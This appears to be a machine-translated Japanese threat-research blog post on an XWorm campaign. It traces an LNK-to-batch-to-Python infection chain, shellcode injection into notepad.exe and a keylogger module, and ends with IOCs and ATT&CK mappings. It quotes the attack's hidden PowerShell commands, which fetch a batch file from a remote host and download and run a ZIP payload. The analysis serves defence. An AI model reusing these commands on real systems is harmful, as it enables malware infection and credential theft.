導入:
攻撃者は、システムに感染して機密情報を盗み出すための様々な手法を絶えず開発しています。最近の攻撃キャンペーンでは、LNKファイルから始まる多段階の感染チェーンが採用され、被害者をWebブラウザで請求書を開かせようとします。そして、バックグラウンドで一連の悪意のあるアクティビティを実行し、システムをXWormに感染させます。
このブログでは、XWormの技術的な詳細を検証します。最初の分析では、LNKファイルから始まる感染チェーンの各段階を検証します。次に、脅威アクターが使用するPowerShell、Pythonスクリプト、ペイロードなどの戦術、手法、手順(TTP)を検証します。最後に、XWormペイロードのシェルコードインジェクションを容易にする手法を検証します。ここで攻撃者は、新しい亜種と同じ機能を持つ古い亜種を使用しています。 エックスワーム ただし、このバリアントには Xlogger モジュールがあります。
感染チェーン:
最近、ウェブブラウザで請求書を開くことで被害者を誘導するLNKファイルを発見しました。このファイルはバックグラウンドで、Pythonセットアップファイルを含むZIPファイルをダウンロードします。解凍すると、Pythonセットアップファイルと様々なスクリプトが含まれています。スクリプトフォルダには、「Man.py」という悪意のあるスクリプトが1つ見つかりました。このスクリプトは、暗号を解読し、悪意のあるシェルコードをシステムに挿入する役割を担っています。

LNKファイル:
このLNKファイルはPowerShellコマンドを隠しモードで実行します。PowerShellコマンドを利用して、バッチファイルman.batをダウンロードフォルダにコピーし、Start-Processを使用してこのバッチファイルをバックグラウンドで実行します。-WindowStyle Hiddenフラグを使用することで、コマンドプロンプトウィンドウが表示されないようにしています。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 隠しコマンド -c “Copy-Item '\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat' \”$env:USERPROFILE\Downloads\”; Start-Process \”$env:USERPROFILE\Downloads\man[.]bat\” -WindowStyle 隠しコマンド”

バッチファイル:
ダウンロードされた.batファイルは感染プロセスを開始する役割を担い、ウェブブラウザで税金の請求書を開くことで被害者の注意をそらします。
.batファイルには、PDFファイルの起動を開始するリンクが含まれています。さらに、PowerShellコマンドを実行してZIPファイルをダウンロードし、その内容を解凍し、そのフォルダに移動してPythonスクリプトを実行し、システムに悪意のあるシェルコードを挿入します。
ダウンロード ZIPファイル:
PowerShell -Command “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }”
`Invoke-WebRequest` を使用して、ハードコードされた URL からファイルをダウンロードし、ダウンロード場所である %destination% に保存します。
同じダウンロードフォルダでPowerShellコマンドを使用してZIPファイルを抽出します。
powershell -Command “& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }
ZIP ファイルを解凍した後、man.py が存在するフォルダーに移動して実行します。

図 4 では、「qfv0ao」という名前の ZIP ファイルがダウンロード フォルダーにダウンロードされ、Web ブラウザーで PDF ファイルが開かれ (図 5)、PowerShell を使用してファイルが解凍されていることがわかります (図 6)。



Python スクリプト:
Pythonスクリプトには暗号化されたシェルコードが含まれています。このシェルコードはBase64で復号され、その後RC4で復号されます。キーはスクリプト自体にハードコードされています。図7に示すように、VirtualProtectを使用して割り当てられたメモリのパーミッションを変更します。

注入:
Pythonスクリプトはまずシェルコードの実行権限を設定し、次にシェルコードを実行します。シェルコードの開始関数は、ペイロードであるXWormの復号と実行を処理します。下の図8は、シェルコードのインジェクションのシーケンスを示しています。

図8では、許可を得たシェルコードを見ることができます。 ページ_EXECUTE_READWRITE次に、図9に示すようにシェルコードが実行されます。シェルコードの開始部分では、コードのいくつかのバイトが「notepad.exe」へのシェルコードの挿入を担っています。



図11は、Pythonスクリプトman.pyを実行した後、「notepad.exe」が起動する様子を示しています。まず、notepad.exeはサスペンド状態で起動されます。次に、図12および図13に示すように、notepad.exeのアドレス空間へのメモリ割り当てとシェルコードの挿入が行われます。
シェルコードが挿入されると、非同期プロシージャ呼び出し(APC)がnotepad.exeのキューに追加されます。このAPCは、悪意のあるコードがメモリ内に存在するアドレスを指します。notepad.exeがサスペンド状態から再開されると、APCが悪意のあるコードの実行をトリガーします。


PE ファイル:
このXWormの亜種は、現在も活動を続ける古いバージョンであり、システム感染のために新たな戦術を試みます。このバージョンでは、ミューテックスの作成直後に「callk」というXlogger関数を呼び出します。このXloggerモジュールは、ファイルのオープン、キー入力、Webブラウザの使用など、すべてのイベントを追跡し、「Local/Temp/log.txt」というパスに保存します。このログは、C2サーバーから対応するコマンドを受信すると、さらに外部に流出します。

キーロギング:
キーロガー機能はキーストロークを収集し、認証情報や個人情報などの機密情報を盗むために利用されます。以下のスニペットでは、WH_KEYBOARD_LLフックタイプを持つSetWindowsHookExなどのAPIを使用してキーストロークをキャプチャしていることがわかります。記録されたキーストロークはローカルに保存されるか、外部に持ち出される可能性があります。
さらに、GetKeyboardState や ToUnicodeEx などの関数は、現在のキーボード レイアウトを考慮して、キーの押下を読み取り可能なテキストに変換するためによく使用されます。

まとめ:
このブログでは、感染チェーンが洗練された多段階の感染経路であることについて説明しました。 マルウェア 様々な手法を駆使して被害者のシステムに感染する攻撃です。悪意のあるLNKファイル、PowerShellコマンド、バッチファイル、Pythonスクリプト、メモリインジェクションを組み合わせることで、このマルウェアはプロンプトを表示することなくペイロードを展開します。シェルコードインジェクションやキーロギングなどの機能により、ログイン認証情報などの機密情報を窃取し、攻撃者が管理するリモートサーバーに流出させます。
IOC:
MD5
| 名前 | MD5 |
| LNKファイル | 1556BD8155D8E9FF2DBDCD852A354B64 |
| バッチファイル | D0B5238A18ABC402B506F608968270DC |
| 〒 | C627DE3B90A0FB5CA8964026360B053A |
| XWormペイロード | 5EDAB6926E304E4DBEF76800918BEE8A
|
保護:
トロイの木馬.Xworm.S34251703
Trojan.GenericFC.S29960909
マイター攻撃&CK:
| 戦略 | テクニックID | 名前 |
| 難読化 | T1027 | 難読化されたファイルまたは情報 |
| 実行 | T1059.005 | コマンドおよびスクリプトインタープリター:Visual Basic |
| スクリーンキャプチャ | T1113 | スクリーンキャプチャ |
| 被害者ホスト情報を収集する | T1592 | システム情報を収集する |
| 入力キャプチャ | T1056 | キーロギング |
| 防衛回避 | T1055.002 | プロセス インジェクション: ポータブル実行可能インジェクション |
| コンテンツインジェクション | T1659 | システムに悪意のあるコードを挿入する |
| コマンドおよび制御 | T1071.001 | アプリケーション層プロトコル:Webプロトコル |
著者:
ヴァイブハブ・クルシュナ・ビラデ
ルマナ・シディキ



